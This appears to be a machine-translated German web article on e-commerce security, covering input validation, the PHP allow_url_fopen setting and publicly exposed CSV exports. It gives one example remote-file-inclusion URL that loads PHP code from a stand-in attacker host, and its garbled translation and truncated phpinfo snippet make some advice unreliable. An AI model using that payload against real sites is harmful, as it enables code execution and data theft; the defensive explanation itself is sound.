E-Commerce-Sicherheit - Anschließen des Security Holes

Sicherheit im E-Commerce-Website muss ein wesentlicher Gesichtspunkt bei der Entwicklung von E-Commerce-Website oder Software. Ein Entwickler muss die Sicherheit aller Überlegungen bei der Gestaltung einer Website im Klaren sein. Mit E-Commerce immer mehr an der Tagesordnung in diesen Tagen, ist die Zahl der Angriffe auf die Sicherheit sicherlich erhöhen. Paranoia ist eine gesunde Sache für E-Commerce-Site-Entwickler, müssen wir stets auf dem Tor mit Fragen der Sicherheit und halten unsere Augen und Ohren offen. Auch wenn die folgenden Lücken ernst nehmen, wenn die folgenden Lücken vorhanden sind leicht zu beheben.

Im Folgenden sind einige Sicherheitsüberlegungen einbezogen werden bei der Entwicklung einer Website. Dieser Artikel bezieht sich nicht auf E-Diebstahl bitte, meine eigenen Artikel zu diesem Thema.

User-Eingang - jede Eingabe, ob es eine Menge eingeben werden, auf der Suche nach einem Produkt, Eingabe eines Namens usw., muss validiert werden, auf verdächtige Zeichen. Wenn dies nicht geschieht, ist es möglich, geben Sie "?>", die Schließung End-Tags von PHP und PHP-Code auszuführen.

Es ist viel sicherer damit von Ziffern und Zeichen az (Hauptstädte im Lieferumfang enthalten) und 0-9 und sonst nichts, anstatt eine Liste mit allen Zeichen, die nicht da sein sollte. Die Validierung Skript muss jedes Zeichen durch einen nach dem anderen zu blättern. Dies muss erreicht werden durch die Validierung in Server-Seite, nicht Javascript. Mit Server-Seite der Überprüfung von Eingaben ist wichtig, zum Schutz vor unerwünschten Zeichen

Es gibt einen weiteren wichtigen bei der Ausführung von PHP-Code. Bei der Verwendung von PHP gibt es eine Einstellung allow_url_fopen genannt, die das Öffnen von Dateien aus einem PHP-Skript ermöglicht. Diese Einstellung sollte deaktiviert werden, wenn es unbedingt nötig.

Stellen Sie sich vor Sie haben PHP-Skripte sowohl für Festnetz-Kopf-und Fußzeilen, und Ihre Webseiten, die Sie eingeben würden, in http://www.mysite.com/index.php?page=page2 zugreifen. Alles was es braucht ist ein böswilliger Benutzer ein Skript, indem Sie diese Parameter durch Eingabe von "run http:// www.mysite.com/index.php?page=http://www.evilhack.com/hacker.txt" mit PHP-Code in der Datei "hacker.txt". Man könnte alles passieren haben, PHP-Dateien lesen, löschen, wichtige Informationen gestohlen.

Wenn Sie nicht sicher sind, wenn diese Einstellung aktiviert oder deaktiviert ist, kopieren Sie bitte den folgenden PHP-Code in eine Text-Datei und laden Sie sie auf Ihrem Webserver:

phpinfo ();
?>

Wenn Sie Ihr Skript auf Ihrem Webserver zugreifen, sollten Sie über die Einstellung allow_url_fopen kommen unter Konfiguration.

Ein Computer nutzen, können unter normalen Umständen nicht finden, den Wert dieser Einstellung.

Seien Sie vorsichtig, der exportierten Daten wie Bestellungen, Produkte im CSV-Dateien und mySQL. Wenn diese Daten von einem Skript ausgeführt und ist auf dem Webserver unter einem gemeinsamen Dateinamen dh gehalten. http://www.mysite.com/admin/output_tables.csv. Dies ist nur dann wirklich ein Problem, wenn die exportierten Daten befindet sich in einer Datei in einem Verzeichnis, das öffentlich zugänglich ist. Es gibt zwei Möglichkeiten, dies zu verhindern Sicherheitslücke - Erster haben die Output-Datei durch ein Passwort geschütztes Verzeichnis, zweitens haben die Daten in einer HTML-Formular-Element textarea auf einem Skript befindet. Die Ladenbesitzer können dann kopieren Sie diese Informationen aus der Textdatei und erstellen Sie eine neue Datei auf ihrem Computer und fügen Sie die Informationen finden Sie hier.

Alles was es braucht ist ein Hacker auf diesem Dateinamen, indem Sie die E-Commerce-Software Demo-Website und suchen Sie nach den gleichen Dateinamen auf einem realen Ort zu finden.

Rate Article

Related Videos
Play Video How to Strengthen Network Security with Cisco Network Manager	Play Video Understanding your Home Network Router #5 - Secure Your Network with WPA2	Play Video Learn About Secure Computing	Play Video How to Keep Your Computer Secure	Play Video Wie Check Security-Einstellungen in Windows Vista

Im Folgenden sind weitere Beiträge zu den oben genannten Artikel aus der "E-Commerce"-Artikel Kategorie verbunden sind.

Die Menschen in den oben genannten Artikel interessiert "E-Commerce-Sicherheit - Anschließen des Security Holes" sind auch in den entsprechenden unten aufgeführten Artikeln interessiert: